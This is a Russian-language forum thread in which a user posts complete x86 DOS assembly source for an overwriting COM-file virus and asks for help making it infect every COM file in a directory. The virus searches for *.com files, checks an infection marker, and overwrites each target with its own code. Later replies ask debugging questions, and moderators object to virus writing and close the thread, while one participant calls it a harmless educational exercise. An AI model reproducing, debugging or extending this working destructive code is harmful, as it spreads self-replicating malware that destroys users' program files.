Неправильная работа вируса

[Proty]

Написал вирус. Задача: затирать код COM-программ и заменять его кодом вируса. Поиск COM-программ осуществляется в текущем каталоге. За 1 раз программа должна заражать 1 файл. Один раз заразить один и тот же файл невозможно, так как у всех зараженных файлов по смещению 102h находится 5566h. Т.е. если данный файл не подходит для заражения, то мы ищем следующий. Однако перемещая программу(virus.com) в каталог с двумя(или более) файлами, он заражает только один. При повторном запуске заражение остальных файлов не происходит.
Думаю, что не работает программа именно в этом месте:

Inf_file:
     call Infect_file
     jnc Nomore_files
     call Find_next
     jnc Inf_file

Потому что, проследив работу программы в отладчике, я вижу, что каждый раз функция Find_next не находит других файлов в каталоге. Помогите, пожалуйста, и объясните ошибку, почему не ищутся и не заражаются другие файлы(и да, конструкция вируса снята с Калашникова). Вот код:

.286
CSEG segment
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h
 
Begin:
     jmp Init
     dw 5566h
     nop
     nop
     nop
     nop
     nop
     int 20h
 
Find_first proc
     mov ah, 4Eh
     xor cx, cx
     mov dx, offset Mask_file
     int 21h
     ret
Mask_file db '*.com',0
Find_first endp
 
Find_next proc
     mov ah, 4Fh
     xor cx, cx
     mov dx, 80h
     int 21h
     ret
Find_next endp
 
Open_file proc
     mov ax, 3D02h
     mov dx, 9Eh
     int 21h
     mov bx, ax
     mov Handle, ax
 
     ret
Handle dw 0FFFFh
Open_file endp
 
Close_file proc
     cmp Handle, 0FFFFh
     je No_close
     mov bx, Handle
     mov ah, 3Eh
     int 21h
No_close:
     ret
Close_file endp
 
Infect_file proc
     call Open_file
     jc Error_Infect
 
     mov ah, 40h
     mov cx, 4
     mov dx, offset Finish
     int 21h
     jc Error_Infect
 
     mov bx, dx
     cmp word ptr [bx+2], 5566h
     je Error_Infect
 
     call Close_file
     jc Error_Infect
     call Open_file
     jc Error_Infect
 
     mov ah, 40h
     mov cx, offset Finish-100h
     mov dx, offset Begin
     int 21h
     jc Error_Infect
 
     call Close_file
     clc
     ret
 
Error_Infect:
     stc
     ret
Infect_file endp
 
Init:
     call Find_first
     jc Nomore_files
Inf_file:
     call Infect_file
     jnc Nomore_files
     call Find_next
     jnc Inf_file
Nomore_files:
     push 102h
     ret
 
Finish equ $
 
CSEG ends
end Begin

_____
Код программы нужно выделять (форматировать) тегами [CODE] (читать FAQ)
Модератор

[Аватар]

Обсуждение вирусописания на форуме не предусмотрено

[Serge_Bliznykov]

Однако перемещая программу(virus.com) в каталог с двумя(или более) файлами, он заражает только один.

позвольте задать дурацкий вопрос, с двумя и более COM файлами ? У Вас в каталоге именно COM файлы?


p.s. программу не смотрел, я в уме ассемблерный код отлаживать не умею, а виртуалки и отладчика под руками нет...


Аватар, ну, это же явно учебная задача.
Тут уже на форуме были подобные темы.
Впрочем, пусть Alar решает - быть или не быть тут этой теме.

[Serge_Bliznykov]

ещё. где Вы устанавливаете адрес DTA ?

и что это за код:

Open_file proc
     mov ax, 3D02h
     mov dx, 9Eh
     int 21h

что за волшебную константу 9Eh Вы заносите в dx?

[Аватар]

ну, это же явно учебная задача

Серж, а что от этого меняется? Вирус, хоть и учебный, он и в африке вирус. Тем более с кодом

[Alar]

ну так для начала надо научиться не "вирусно" называть темы.

[Serge_Bliznykov]

Сообщение от Alar

ну так для начала надо научиться не "вирусно" называть темы.

угу. точно. И в этом главная ошибка автора темы!

Сообщение от Аватар

Серж, а что от этого меняется? Вирус, хоть и учебный, он и в африке вирус. Тем более с кодом

Меняется многое.
Это же не зловредная программа, а программа для изучения создания таких программ.

Есть даже книжки, посвящённые этому:
на озоне, например
Игорь Гульев.Создаем вирус и антивирус

Петр Хижняк. Пишем вирус и антивирус

Следующим шагом будет идти создание антивируса для данного вируса.

Ну и ещё. я бы ещё понял, если тут был реальный код под Win.
Он может попасть в чужие шаловливые ручки и реально принести вред.
Но DOS код, да ещё и формата COM. в нынешних реалиях это так же опасно, как муляж автомата Калашникова, сделанный из фанеры.
Ну или рецепт "бомбы" из пачки соды и бутылки уксуса!

Впрочем, тема закрыта. Alar явно согласен с тем, что тема закрыта.
я больше никаких вопросов не имею. Нет, значит, нет.